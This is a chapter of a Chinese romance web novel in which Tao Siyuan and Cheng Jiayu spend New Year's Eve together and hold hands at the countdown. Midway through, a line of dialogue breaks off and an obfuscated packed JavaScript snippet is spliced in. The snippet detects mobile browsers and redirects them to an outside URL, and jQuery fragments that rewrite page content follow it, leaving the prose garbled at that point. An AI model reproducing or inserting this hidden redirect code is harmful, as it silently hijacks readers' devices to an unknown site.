十二月是期末月，特别是最后一周，所有人都卯足了劲。


    陶思愿也不例外，埋头苦干好些日子，终于在三十一号前夕，可以稍稍喘口气。


    不太清楚具体发生了什么，但总之那天宁潇被叫出去以后，第二天两个人就重新和好了，所以今晚跨年，宁潇收到了邀请，当时陶思愿正好就在旁边。


    “不去，我陪思愿跨年。”宁潇想也不想就拒绝，“不然她就要一个人了。”


    听完，陶思愿忍不住开口小声解释，“没有一个人，周临昀也有邀请我们一起去跨年的，你忘记了吗？”


    宁潇这才像是想起来，顿了顿，点头，“确实，忘了差点。”


    “那一起吧。”宁潇对手机那边说。


    不知道对面说了什么，大概是不愿意，于是宁潇干脆地说，“那你就别去。”


    说完就把电话挂掉。


    全程陶思愿都未作评价，听到这儿也只是笑了笑，继续喝剩下的牛奶。


    “第一次见你喝纯牛奶。”宁潇好奇地问，“这个牌子是进口的，哪买的，给我推推？”


    陶思愿一下子变得紧张，但还是诚实地回答：“是那天你走了之后，程嘉予给的。”


    宁潇顿了下，但出乎意料没有追问，陶思愿觉得自己又逃过一劫。


    不过为了防止下文，她决定率先挑开新的话题，“你和他算是和好了吗？”


    宁潇哼了声，“还没有，看他表现吧。”


    -


    今天实在寒冷至极，天色暗下后，冷风更甚。


    陶思愿需要穿的很厚很厚，才能防住低温。


    走出宿舍楼时，经过两边的玻璃门，陶思愿看见自己蓦然变圆的身躯，不由觉得好笑，但是没有关系，暖和就好。


    顾舟远开了车来接，车里开了暖气，很舒适，车程约莫十分钟。由于体感温度实在恰当，陶思愿一路上都有些迷迷糊糊的。


    没过多会儿便到了地方。


    一下车便看到了乌泱泱的一大片，今晚光临的人实在有些多，即使温度骤降也阻挡不了热情。


    很快，便找到了早些到达的周临昀他们，今天在场的还有另一个男生，是比较温和的那个，应该是叫许柏言，看到陶思愿时也相当友好地打了个招呼。


    宁潇被顾舟远拉到了别的地方，陶思愿让她放心去就好，不用顾及自己。于是宁潇一步三回头地被带走了。


    周临昀人脉广，在场的也大都是学生，所以很快便见他和人交谈起来。


    陶思愿今天出门忘记把手套戴上，口袋又非常倒霉的是那种装饰性的，几乎没有多少深度。


    由于是新买回来的，所以之前没穿过，不知道还有这么个陷阱。于是陶思愿就抱着周临昀买来的热茶暖手。


    可是热茶支撑不了多久，为了不浪费，陶思愿开始小口小口地喝，争取在凉掉以前喝完。


    四个人起初还站在一处，但不知不觉地，便相继被分隔开，许柏言去借个电话的功夫，再想回来已经变得困难，只好停在偏外围的位置，和周临昀站在一处。


    于是陶思愿便和程嘉予单独待在一起，周围的人离得不近不远，说话的声音大一点就能听见。


    “冷吗？”程嘉予问。


    陶思愿老实点头，又摇头，“手冷，但身上其他地方都不冷。”


    程嘉予笑出声，没再开口。


    过了会儿，陶思愿终于把手里的一小杯茶喝完，准备去找垃圾桶，然而一旁的程嘉予也跟了上来。


    她疑惑地扭头，便听见程嘉予淡定地解释，“你自己走的话，一会儿很可能就走不回来这里了。”


    陶思愿想到了被隔开的周临昀和许柏言他们，脸上一热，讷讷地点头，“噢，好。”


    没有问那为什么刚才他们走的时候不跟上，而只在现在考虑这个问题。


    因为她没有很着急地想要得到这个问题的答案，目前已经很满足了。


    方才混迹在人群中方还不觉，现在走到外面去，像漏风一样，凉意肆无忌惮地开始冲撞，陶思愿竭力忍着，手只可怜巴巴地塞进口袋一半，转头说，“好了，我们回去吧。”


    “嗯。”


    这实在是太冷了。回去的路上，陶思愿一直想。


    只是没走几步，便看见了不止一对的情侣，紧紧地靠在一块儿，十分亲昵，手臂交错，即使离中心很远也不在意，只靠在一起观望就好。


    起初陶思愿还有些收敛，看一眼就立刻收回，但到后面的时候，终于还是忍不住偷看多几眼，然后开始出神。


    紧接着，原本抽出来预备放在嘴边哈气的一只手被另一只手抓住，没给她反应的时间，那只比自己要大很多的手很干脆地裹住，然后放进外套口袋里。


    陶思愿路都不会走了，就这么直挺挺地停了下来。


    然而做了这一切的程嘉予却没有太大反应，只是平常且淡定地询问，“看你手被冻红了，我的口袋很深，可以把你的手放进来，介意的话，就算了吧。”


    说是算了，但明明两只手都已经放了进去。


    可此时陶思愿已经无暇思考这些，早在手被握住的那一刻，已是瞳孔骤缩，心脏攥紧一瞬继而扑通扑通地剧烈跳动起来。


    脑袋也是，嗡嗡作响。


    “怎么不说话。”程嘉予气定神闲地问，“介意吗？”


    陶思愿猛然回了神。


    她有些僵直地转过头来，愣愣的。


    听到程嘉予再次发出的提问，微微张着嘴，几欲开口却没有发出丁点儿声音。


    最后，全然凭借仅剩的思绪，回答说，“不介意。”


    又不忘礼貌，“谢谢。”


    “嗯。”


    程嘉予不再开口，也没有催促她要继续往前走。


    陶思愿整个人都是僵硬着的，又觉得现在一切都太不真实。


    直到依旧不断吹打的冷风将她叫醒。


    手传来的温度才终于有了实感。


    陶思愿一点一点地努力让自己不要那么死板，希望可以尽量再自然一些，就像方才看到过的每一对男孩女孩。


    虽然并没有牵着手，只是短暂地触碰过。


    他们不一样，但又好像有些像。


    就在陶思愿努力调整之际，突然看到了不远处正朝着自己走来的宁潇，和跟在一旁的顾舟远。


    陶思愿怔了怔，确定对方的确是他们以后，然后果断而干脆地将手从口袋里抽了出来。


    其实陶思愿并没有感觉到程嘉予有任何举动，不想被发现只是她独自的行径。但她还是很心虚。


    不一会儿，宁潇走到跟前来，“思愿，我一会儿要到桥对面去，应该不会再回来这边了，你和我一起去吗？”


    陶思愿生怕影响他们两个和好，赶紧说，“不用的，你去玩吧，一会儿我....”


    “我一会儿会送她回学校。”


    程嘉予忽然开了口。


    宁潇一顿，看了他一眼，又看了看陶思愿，最后点点头，“那好吧，有什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711148|154745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事给我打电话？”


    陶思愿：“好。”


    宁潇走了以后，原本松懈下来的身体又开始绷紧，虽然没有再像刚才那样，可陶思愿依旧觉得很开心。


    夜空中已经陆续开始放起烟花，为倒计时做准备。


    陶思愿和程嘉予站在一处，没有像刚才那样站得那么靠前，但也算是不错的观赏点。


    最后五分钟。


    烟花接二连三地绽放，原本漆黑的夜空璀璨而炫目，映入眼中如星河般闪亮。


    方才倒还不觉，可此时此刻，陶思愿只觉得方才被牵过的手有些空落落的，她偷偷低头去看，手翻来覆去。


    只是没想到被程嘉予发现了。


    而他今晚格外直接，没有给她任何缓冲。


    “陶思愿。”


    陶思愿顿住，下意识转头看着他，由于身高的差距，她本应该要抬高头，但在那之前程嘉予已经低下了头，足够对上她的视线。


    三分钟倒计时。


    “想做什么？”程嘉予看着她的眼睛问。


    陶思愿颤了下睫，有些犹豫，但是她觉得自己应该要大胆一些，毕竟马上就是新年第一天。


    慢慢地，陶思愿开始在心里给自己鼓气，空白的大脑被方才的种种片段填满，像在充气的气球，随时都会炸开。


    她深吸了一口气，耳边的欢呼声像是鼓舞。


    最后，坚定又执着地看着程嘉予的眼睛，然后说，“我可以和你握手吗？”


    不是牵手，而是握手。是准备了好久的士气，结果一个不小心，就说错了话。


    程嘉予觉得很好笑，很可爱，但是他没有开口。


    只是抬了抬右手，作出回答。


    陶思愿没来得及为刚才的失口作出检讨，便被下一秒要做的新一件更重要的事情剥夺所有注意。


    她抿唇，伸出右手，侧着过去，四指几乎并着从下面弯曲握上，大拇指压在他的虎口。


    真的就是一个标准的，握手的动作。


    程嘉予没说话，只是看着陶思愿下唇微微往里缩，好像想要笑，但是不想太明显的样子。


    而陶思愿也确实是想要笑，但是她不敢，因为这里有好多人，虽然他们并不在意这里发生了什么。


    不过程嘉予的手很宽很大，她有些握不住，保持这个动作久了有些酸。但是如果可以的话，她还是想再多握一会儿。


    虽然现在这样已经很满足了，陶思愿想。


    这样想着，那只很大很温暖的手动了动，松开了几乎贴在一块儿的手心。


    陶思愿有些遗憾，要结束这次握手了。但是她觉得已经够了。


    而下一秒，那只手重新贴了上来，不过不是握，也不像方才那样覆住。而是牵着。


    陶思愿的其余四根手指都被稳稳地包在了手心当中，只除了那一只呆愣愣的，和她现在一样的大拇指。


    紧接着，大拇指也被人轻轻地用指腹碰了碰。


    然后，听见程嘉予的声音从头顶传来，“我也有一个愿望。”


    他低头询问，“我可以牵你的手吗？”


    陶思愿的脸从一开始就红了起来，发着热，并愈演愈烈。


    她将整张脸都埋在了围巾里，但是程嘉予问了她话，那就一定要回答。


    陶思愿低低地说，“可以的。”


    耳边烟花声不断，最后五秒倒计时持续播报着，直到最后一秒时。


    她听见程嘉予很轻地笑了一声，学着她说，“谢谢。”